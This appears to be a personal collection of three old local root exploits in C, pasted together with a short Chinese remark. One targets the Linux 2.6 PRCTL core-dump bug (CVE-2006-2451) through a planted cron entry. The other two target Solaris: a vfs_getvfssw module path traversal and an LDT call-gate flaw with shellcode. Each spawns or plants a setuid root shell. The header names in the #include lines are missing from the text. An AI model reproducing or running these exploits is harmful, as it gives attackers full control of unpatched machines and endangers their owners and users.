/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer       (main PoC code)   */
/* - RoMaNSoFt (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include
#include
#include
#include
#include
#include
#include
#include

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -p");
}

/* rootme.c - Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* code by Sam and  2004/04/07
*      
*                    
*
* bug find by Dave Aitel
* http://www.immunitysec.com/downloads/solaris_kernel_vfs.sxw.pdf
*
*
* some thanks/greets to:
* sst members, Xfocus Guys, my gf :I
* and everyone else who's KNOW SST ;P
* http://0x557.org
*/

#include
#include
#include
#include
#include

int do_root_me ()
{
  if (mkdir("/tmp/sparcv9", 0777) < 0) {
    perror ("mkdir");
    return -1;
  }
  
  system ("cp ./mod /tmp/sparcv9/");
  
  sysfs (GETFSIND, "../../tmp/mod");
  
  return 0;
}

int make_shell ()
{
  system ("gcc -o sh sh.c;cp ./sh /tmp/sh;chmod 4755 /tmp/sh");
  return 0;
}
  

int main()
{
  pid_t  child;
  
  make_shell ();
  child = fork ();
  if (child == -1)
    printf ("Unable to fork\n");

  if (child == 0)
    do_root_me();
  
  system("/usr/bin/rm -rf /tmp/sparcv9");
  printf ("press anykey ");  
  getchar ();
  execl ("/tmp/sh", "/tmp/sh", 0);
  
  return 0;
}

老东西 随便记录一下

/*## copyright LAST STAGE OF DELIRIUM apr 2001 poland        *://lsd-pl.net/ #*/
/*## ldt kernel bug                                                          #*/

/*   the code installs trap call gate descriptor with DPL=3 targeting kernel  */
/*   code segment selector KCSSEL (DPL=0) in task local descriptor table LDT  */
/*   through sysi86(SI86DSCR,struct ssd*) system call.                        */

/*   as a result command shell is spawned with effective root user privilege. */
/*   NOTE: possible direct jump to user space adr=(unsigned int)&asmcode[21]; */

#include
#include
#include
#include
#include
#include
#include

#define ofs(s,m) (unsigned int)(&(((s*)0)->m))
#define ofskt()  (ofs(cpu_t,cpu_thread))
#define ofscr()  (ofs(kthread_t,t_cred))
#define ofsid()  (ofs(cred_t,cr_uid))
#define adr(a)   (char)(a),(char)(a>>8),(char)(a>>16),(char)(a>>24)
#define dsc(d)   (char)(d),(char)(d>>8)

char asmcode[]={
   0x55,                      /* pushl   %ebp                   */
   0x89,0xe5,                 /* movl    %esp,%ebp              */
   0xe8,0,0,0,0,              /* call                */
   0x5c,                      /* popl    %esp                   */
   0x83,0xc4,0x0d,            /* addl    $0x0d,%esp             */
   0x9a,0,0,0,0,0x44,0,       /* lcall   $0x44,$0x00000000      */
   0xc9,                      /* leave                          */
   0xc3,                      /* ret                            */

   0x66,0xb8,dsc(KGSSEL),     /* movw    $0x????,%ax            */
   0x8e,0xe8,                 /* movw    %ax,%gs                */
   0x65,0xa1,adr(ofskt()),    /* movl    %gs:0x????????,%eax    */
   0x8b,0x88,adr(ofscr()),    /* movl    0x????????(%eax),%ecx  */
   0x31,0xc0,                 /* xorl    %eax,%eax              */
   0x89,0x41,ofsid(),         /* movl    %eax,0x??(%ecx)        */
   0xca,0x20,0                /* lret    $0x20                  */
};

main(int argc,char **argv){
   unsigned int adr;
   ucontext_t uc;struct ssd s;

   printf("copyright LAST STAGE OF DELIRIUM apr 2001 poland  //lsd-pl.net/\n");
   printf("ldt kernel bug for solaris 2.7 2.8 x86\n\n");

   getcontext(&uc);
   adr=uc.uc_mcontext.gregs[ESP]+12+4+4-(8<<2);

   printf("esp=0x%08x adr=0x%08x\n",uc.uc_mcontext.gregs[ESP],adr);

   s.bo=adr;
   s.sel=0x44;
   s.ls=KCSSEL;
   s.acc1=GATE_UACC|GATE_386CALL;
   s.acc2=8;

   sysi86(SI86DSCR,&s);
   setuid(getuid());
   ((void(*)())asmcode)();

   execl("/bin/ksh","lsd",0);
}